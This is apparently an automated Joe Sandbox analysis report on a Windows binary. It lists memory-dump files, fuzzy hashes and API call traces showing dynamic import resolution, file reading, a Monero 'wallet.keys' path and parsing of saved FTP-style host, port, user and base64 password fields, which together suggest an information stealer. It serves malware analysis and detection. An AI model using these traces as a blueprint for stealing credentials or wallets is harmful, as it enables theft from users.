Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateNameProcessUser
String ID:
API String ID: 1296208442-0
Opcode ID: 37273a727f517278a2182a1d62e3fcdcd0813d11d4ad1f6fdf6dc671561dd89e
Instruction ID: cc5f50e0519e9cadcc374c5c41708c5de9e7fb309ed7526904b01298ba219906
Opcode Fuzzy Hash: 37273a727f517278a2182a1d62e3fcdcd0813d11d4ad1f6fdf6dc671561dd89e
Instruction Fuzzy Hash: 07F04FB1E44209EFC714DF98DD49BAEFBB8FB08721F10025AFA45A3680C7791504CBA1

Function 00E21160 Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 00E2116A
ExitProcess.KERNEL32 ref: 00E2117E

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: ExitInfoProcessSystem
String ID:
API String ID: 752954902-0
Opcode ID: 1a4cbad52d01c62a388c8e59faa3b01a4ae48e307004feaf3a8bec9030fe8923
Instruction ID: d0bb43b28103d47b78c49478010261bc147af6902123d9dad327a60144ff46e2
Opcode Fuzzy Hash: 1a4cbad52d01c62a388c8e59faa3b01a4ae48e307004feaf3a8bec9030fe8923
Instruction Fuzzy Hash: E2D05E74A0030CDBCB10EFE0D84A6DDBB78FB08311F001594D90673340EA359591CBA5

Function 00E39C10 Relevance: 200.2, APIs: 112, Strings: 2, Instructions: 684
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(76210000,017F5530), ref: 00E39C2D
GetProcAddress.KERNEL32(76210000,017F53F0), ref: 00E39C45
GetProcAddress.KERNEL32(76210000,01809FE0), ref: 00E39C5E
GetProcAddress.KERNEL32(76210000,01809F20), ref: 00E39C76
GetProcAddress.KERNEL32(76210000,01809FB0), ref: 00E39C8E
GetProcAddress.KERNEL32(76210000,0180DB10), ref: 00E39CA7
GetProcAddress.KERNEL32(76210000,017FB598), ref: 00E39CBF
GetProcAddress.KERNEL32(76210000,0180DA50), ref: 00E39CD7
GetProcAddress.KERNEL32(76210000,0180DAC8), ref: 00E39CF0
GetProcAddress.KERNEL32(76210000,0180D990), ref: 00E39D08
GetProcAddress.KERNEL32(76210000,0180D9A8), ref: 00E39D20
GetProcAddress.KERNEL32(76210000,017F5410), ref: 00E39D39
GetProcAddress.KERNEL32(76210000,017F5430), ref: 00E39D51
GetProcAddress.KERNEL32(76210000,017F54B0), ref: 00E39D69
GetProcAddress.KERNEL32(76210000,017F55B0), ref: 00E39D82
GetProcAddress.KERNEL32(76210000,0180DB70), ref: 00E39D9A
GetProcAddress.KERNEL32(76210000,0180D9C0), ref: 00E39DB2
GetProcAddress.KERNEL32(76210000,017FB5C0), ref: 00E39DCB
GetProcAddress.KERNEL32(76210000,017F54F0), ref: 00E39DE3
GetProcAddress.KERNEL32(76210000,0180DA20), ref: 00E39DFB
GetProcAddress.KERNEL32(76210000,0180DBB8), ref: 00E39E14
GetProcAddress.KERNEL32(76210000,0180DB88), ref: 00E39E2C
GetProcAddress.KERNEL32(76210000,0180DB58), ref: 00E39E44
GetProcAddress.KERNEL32(76210000,017F5650), ref: 00E39E5D
GetProcAddress.KERNEL32(76210000,0180DAB0), ref: 00E39E75
GetProcAddress.KERNEL32(76210000,0180DBA0), ref: 00E39E8D
GetProcAddress.KERNEL32(76210000,0180DA08), ref: 00E39EA6
GetProcAddress.KERNEL32(76210000,0180D9D8), ref: 00E39EBE
GetProcAddress.KERNEL32(76210000,0180D9F0), ref: 00E39ED6
GetProcAddress.KERNEL32(76210000,0180D960), ref: 00E39EEF
GetProcAddress.KERNEL32(76210000,0180DAE0), ref: 00E39F07
GetProcAddress.KERNEL32(76210000,0180DBD0), ref: 00E39F1F
GetProcAddress.KERNEL32(76210000,0180D978), ref: 00E39F38
GetProcAddress.KERNEL32(76210000,01800D38), ref: 00E39F50
GetProcAddress.KERNEL32(76210000,0180DA38), ref: 00E39F68
GetProcAddress.KERNEL32(76210000,0180DA68), ref: 00E39F81
GetProcAddress.KERNEL32(76210000,017F5510), ref: 00E39F99
GetProcAddress.KERNEL32(76210000,0180DC30), ref: 00E39FB1
GetProcAddress.KERNEL32(76210000,017F5550), ref: 00E39FCA
GetProcAddress.KERNEL32(76210000,0180DBE8), ref: 00E39FE2
GetProcAddress.KERNEL32(76210000,0180DA80), ref: 00E39FFA
GetProcAddress.KERNEL32(76210000,017F5570), ref: 00E3A013
GetProcAddress.KERNEL32(76210000,017F5590), ref: 00E3A02B
LoadLibraryA.KERNEL32(0180DB40,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A03D
LoadLibraryA.KERNEL32(0180DA98,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A04E
LoadLibraryA.KERNEL32(0180DAF8,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A060
LoadLibraryA.KERNEL32(0180DC00,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A072
LoadLibraryA.KERNEL32(0180DB28,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A083
LoadLibraryA.KERNEL32(0180DC18,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A095
LoadLibraryA.KERNEL32(0180D948,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A0A7
LoadLibraryA.KERNEL32(0180DDC8,?,00E35CA3,00E40AEB,?,?,?,?,?,?,?,?,?,?,00E40AEA,00E40AE3), ref: 00E3A0B8
GetProcAddress.KERNEL32(751E0000,017F5150), ref: 00E3A0DA
GetProcAddress.KERNEL32(751E0000,0180DC60), ref: 00E3A0F2
GetProcAddress.KERNEL32(751E0000,01809A88), ref: 00E3A10A
GetProcAddress.KERNEL32(751E0000,0180DD98), ref: 00E3A123
GetProcAddress.KERNEL32(751E0000,017F51F0), ref: 00E3A13B
GetProcAddress.KERNEL32(700F0000,017FB8E0), ref: 00E3A160
GetProcAddress.KERNEL32(700F0000,017F5290), ref: 00E3A179
GetProcAddress.KERNEL32(700F0000,017FB610), ref: 00E3A191
GetProcAddress.KERNEL32(700F0000,0180DDE0), ref: 00E3A1A9
GetProcAddress.KERNEL32(700F0000,0180DCF0), ref: 00E3A1C2
GetProcAddress.KERNEL32(700F0000,017F5210), ref: 00E3A1DA
GetProcAddress.KERNEL32(700F0000,017F5190), ref: 00E3A1F2
GetProcAddress.KERNEL32(700F0000,0180DDF8), ref: 00E3A20B
GetProcAddress.KERNEL32(753A0000,017F5110), ref: 00E3A22C
GetProcAddress.KERNEL32(753A0000,017F5170), ref: 00E3A244
GetProcAddress.KERNEL32(753A0000,0180DCC0), ref: 00E3A25D
GetProcAddress.KERNEL32(753A0000,0180DC48), ref: 00E3A275
GetProcAddress.KERNEL32(753A0000,017F52B0), ref: 00E3A28D
GetProcAddress.KERNEL32(76310000,017FB700), ref: 00E3A2B3
GetProcAddress.KERNEL32(76310000,017FB638), ref: 00E3A2CB
GetProcAddress.KERNEL32(76310000,0180DC78), ref: 00E3A2E3
GetProcAddress.KERNEL32(76310000,017F52D0), ref: 00E3A2FC
GetProcAddress.KERNEL32(76310000,017F5230), ref: 00E3A314
GetProcAddress.KERNEL32(76310000,017FB728), ref: 00E3A32C
GetProcAddress.KERNEL32(76910000,0180DD38), ref: 00E3A352
GetProcAddress.KERNEL32(76910000,017F5250), ref: 00E3A36A
GetProcAddress.KERNEL32(76910000,01809B38), ref: 00E3A382
GetProcAddress.KERNEL32(76910000,0180DCD8), ref: 00E3A39B
GetProcAddress.KERNEL32(76910000,0180DDB0), ref: 00E3A3B3
GetProcAddress.KERNEL32(76910000,017F5130), ref: 00E3A3CB
GetProcAddress.KERNEL32(76910000,017F51D0), ref: 00E3A3E4
GetProcAddress.KERNEL32(76910000,0180DCA8), ref: 00E3A3FC
GetProcAddress.KERNEL32(76910000,0180DD08), ref: 00E3A414
GetProcAddress.KERNEL32(75B30000,017F5270), ref: 00E3A436
GetProcAddress.KERNEL32(75B30000,0180DC90), ref: 00E3A44E
GetProcAddress.KERNEL32(75B30000,0180DD20), ref: 00E3A466
GetProcAddress.KERNEL32(75B30000,0180DD50), ref: 00E3A47F
GetProcAddress.KERNEL32(75B30000,0180DD68), ref: 00E3A497
GetProcAddress.KERNEL32(75670000,017F5090), ref: 00E3A4B8
GetProcAddress.KERNEL32(75670000,017F50B0), ref: 00E3A4D1
GetProcAddress.KERNEL32(76AC0000,017F51B0), ref: 00E3A4F2
GetProcAddress.KERNEL32(76AC0000,0180DD80), ref: 00E3A50A
GetProcAddress.KERNEL32(6F4E0000,017F52F0), ref: 00E3A530
GetProcAddress.KERNEL32(6F4E0000,017F5050), ref: 00E3A548
GetProcAddress.KERNEL32(6F4E0000,017F5310), ref: 00E3A560
GetProcAddress.KERNEL32(6F4E0000,0180D930), ref: 00E3A579
GetProcAddress.KERNEL32(6F4E0000,017F5330), ref: 00E3A591
GetProcAddress.KERNEL32(6F4E0000,017F4FF0), ref: 00E3A5A9
GetProcAddress.KERNEL32(6F4E0000,017F50D0), ref: 00E3A5C2
GetProcAddress.KERNEL32(6F4E0000,017F4F50), ref: 00E3A5DA
GetProcAddress.KERNEL32(6F4E0000,InternetSetOptionA), ref: 00E3A5F1
GetProcAddress.KERNEL32(6F4E0000,HttpQueryInfoA), ref: 00E3A607
GetProcAddress.KERNEL32(75AE0000,0180D648), ref: 00E3A629
GetProcAddress.KERNEL32(75AE0000,01809B48), ref: 00E3A641
GetProcAddress.KERNEL32(75AE0000,0180D7E0), ref: 00E3A659
GetProcAddress.KERNEL32(75AE0000,0180D858), ref: 00E3A672
GetProcAddress.KERNEL32(76300000,017F5070), ref: 00E3A693
GetProcAddress.KERNEL32(6FE40000,0180D750), ref: 00E3A6B4
GetProcAddress.KERNEL32(6FE40000,017F50F0), ref: 00E3A6CD
GetProcAddress.KERNEL32(6FE40000,0180D6D8), ref: 00E3A6E5
GetProcAddress.KERNEL32(6FE40000,0180D768), ref: 00E3A6FD

Strings

InternetSetOptionA, xrefs: 00E3A5E5
HttpQueryInfoA, xrefs: 00E3A5FC

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 2238633743-1775429166
Opcode ID: 17793d3e58240baef2d3e22780a7f3f9a337cc2fe608ee6b82c5e050ea89afb3
Instruction ID: e5b0bc6e88fba4fa56d108a55f7ae03b1be7b4dbe7c7557116c5047b2e095dec
Opcode Fuzzy Hash: 17793d3e58240baef2d3e22780a7f3f9a337cc2fe608ee6b82c5e050ea89afb3
Instruction Fuzzy Hash: A3620CB5700200EFC764FFA8EA8895637F9F78C601714855AE686E326CD73FA841DB60

Function 00E27710 Relevance: 81.6, APIs: 54, Instructions: 584
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00E27724
RtlAllocateHeap.NTDLL(00000000), ref: 00E2772B
lstrcat.KERNEL32(?,017F6F98), ref: 00E278DB
lstrcat.KERNEL32(?,?), ref: 00E278EF
lstrcat.KERNEL32(?,?), ref: 00E27903
lstrcat.KERNEL32(?,?), ref: 00E27917
lstrcat.KERNEL32(?,0180F208), ref: 00E2792B
lstrcat.KERNEL32(?,0180F1C0), ref: 00E2793F
lstrcat.KERNEL32(?,0180F358), ref: 00E27952
lstrcat.KERNEL32(?,0180F1D8), ref: 00E27966
lstrcat.KERNEL32(?,0180A700), ref: 00E2797A
lstrcat.KERNEL32(?,?), ref: 00E2798E
lstrcat.KERNEL32(?,?), ref: 00E279A2
lstrcat.KERNEL32(?,?), ref: 00E279B6
lstrcat.KERNEL32(?,0180F208), ref: 00E279C9
lstrcat.KERNEL32(?,0180F1C0), ref: 00E279DD
lstrcat.KERNEL32(?,0180F358), ref: 00E279F1
lstrcat.KERNEL32(?,0180F1D8), ref: 00E27A04
lstrcat.KERNEL32(?,0180A768), ref: 00E27A18
lstrcat.KERNEL32(?,?), ref: 00E27A2C
lstrcat.KERNEL32(?,?), ref: 00E27A40
lstrcat.KERNEL32(?,?), ref: 00E27A54
lstrcat.KERNEL32(?,0180F208), ref: 00E27A68
lstrcat.KERNEL32(?,0180F1C0), ref: 00E27A7B
lstrcat.KERNEL32(?,0180F358), ref: 00E27A8F
lstrcat.KERNEL32(?,0180F1D8), ref: 00E27AA3
lstrcat.KERNEL32(?,0180F638), ref: 00E27AB6
lstrcat.KERNEL32(?,?), ref: 00E27ACA
lstrcat.KERNEL32(?,?), ref: 00E27ADE
lstrcat.KERNEL32(?,?), ref: 00E27AF2
lstrcat.KERNEL32(?,0180F208), ref: 00E27B06
lstrcat.KERNEL32(?,0180F1C0), ref: 00E27B1A
lstrcat.KERNEL32(?,0180F358), ref: 00E27B2D
lstrcat.KERNEL32(?,0180F1D8), ref: 00E27B41
lstrcat.KERNEL32(?,0180F6A0), ref: 00E27B55
lstrcat.KERNEL32(?,?), ref: 00E27B69
lstrcat.KERNEL32(?,?), ref: 00E27B7D
lstrcat.KERNEL32(?,?), ref: 00E27B91
lstrcat.KERNEL32(?,0180F208), ref: 00E27BA4
lstrcat.KERNEL32(?,0180F1C0), ref: 00E27BB8
lstrcat.KERNEL32(?,0180F358), ref: 00E27BCC
lstrcat.KERNEL32(?,0180F1D8), ref: 00E27BDF
lstrcat.KERNEL32(?,0180F708), ref: 00E27BF3
lstrcat.KERNEL32(?,?), ref: 00E27C07
lstrcat.KERNEL32(?,?), ref: 00E27C1B
lstrcat.KERNEL32(?,?), ref: 00E27C2F
lstrcat.KERNEL32(?,0180F208), ref: 00E27C43
lstrcat.KERNEL32(?,0180F1C0), ref: 00E27C56
lstrcat.KERNEL32(?,0180F358), ref: 00E27C6A
lstrcat.KERNEL32(?,0180F1D8), ref: 00E27C7E

Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020,00E417FC), ref: 00E27606
Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020,00000000), ref: 00E27648
Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020, : ), ref: 00E2765A
Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020,00000000), ref: 00E2768F
Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020,00E41804), ref: 00E276A0
Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020,00000000), ref: 00E276D3
Part of subcall function 00E275D0: lstrcat.KERNEL32(35BAE020,00E41808), ref: 00E276ED
Part of subcall function 00E275D0: task.LIBCPMTD ref: 00E276FB

lstrcat.KERNEL32(?,0180FA50), ref: 00E27E0B
lstrcat.KERNEL32(?,0180E3D0), ref: 00E27E1E
lstrlen.KERNEL32(35BAE020), ref: 00E27E2B
lstrlen.KERNEL32(35BAE020), ref: 00E27E3B

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Memory Dump Source

Source File: 00000001.00000002.2412199303.0000000000E21000.00000040.00000001.01000000.00000003.sdmp, Offset: 00E20000, based on PE: true

Associated: 00000001.00000002.2412186629.0000000000E20000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000E7A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000ED1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000EDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F0F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F2F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000F3E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FC5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FE5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412199303.0000000000FEB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.000000000107E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000011FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012DC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.00000000012FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001309000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412532981.0000000001316000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412762344.0000000001317000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412864520.00000000014B0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2412879638.00000000014B1000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_e20000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID:
API String ID: 928082926-0
Opcode ID: de332dbffb3ad36884ebd2bd596278f24f5c0f55cc8f1b4ac29052f683f6011e
Instruction ID: f749f7647ccc180047385b3f908ae6219950d7a688be3921659556790066622c
Opcode Fuzzy Hash: de332dbffb3ad36884ebd2bd596278f24f5c0f55cc8f1b4ac29052f683f6011e
Instruction Fuzzy Hash: FF320DB2900314ABC725FBA0DC89DEE777CAB48700F445698F25DB2094EA7AE785CF51

Function 00E30250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00E3A740: lstrcpy.KERNEL32(00E40E17,00000000), ref: 00E3A788

Part of subcall function 00E38DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00E38E0B

Part of subcall function 00E3A920: lstrcpy.KERNEL32(00000000,?), ref: 00E3A972
Part of subcall function 00E3A920: lstrcat.KERNEL32(00000000), ref: 00E3A982

Part of subcall function 00E3A8A0: lstrcpy.KERNEL32(?,00E40E17), ref: 00E3A905

Part of subcall function 00E3A9B0: lstrlen.KERNEL32(?,018099D8,?,\Monero\wallet.keys,00E40E17), ref: 00E3A9C5
Part of subcall function 00E3A9B0: lstrcpy.KERNEL32(00000000), ref: 00E3AA04
Part of subcall function 00E3A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00E3AA12

Part of subcall function 00E3A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00E3A7E6

Part of subcall function 00E299C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00E299EC
Part of subcall function 00E299C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00E29A11
Part of subcall function 00E299C0: LocalAlloc.KERNEL32(00000040,?), ref: 00E29A31
Part of subcall function 00E299C0: ReadFile.KERNEL32(000000FF,?,00000000,00E2148F,00000000), ref: 00E29A5A
Part of subcall function 00E299C0: LocalFree.KERNEL32(00E2148F), ref: 00E29A90
Part of subcall function 00E299C0: CloseHandle.KERNEL32(000000FF), ref: 00E29A9A

Part of subcall function 00E38E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00E38E52

GetProcessHeap.KERNEL32(00000000,000F423F,00E40DBA,00E40DB7,00E40DB6,00E40DB3), ref: 00E30362
RtlAllocateHeap.NTDLL(00000000), ref: 00E30369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00E30385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E30393
StrStrA.SHLWAPI(00000000,<Port>), ref: 00E303CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E303DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00E30419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E30427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00E30463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E30475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E30502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E3051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00E40DB2), ref: 00E30532
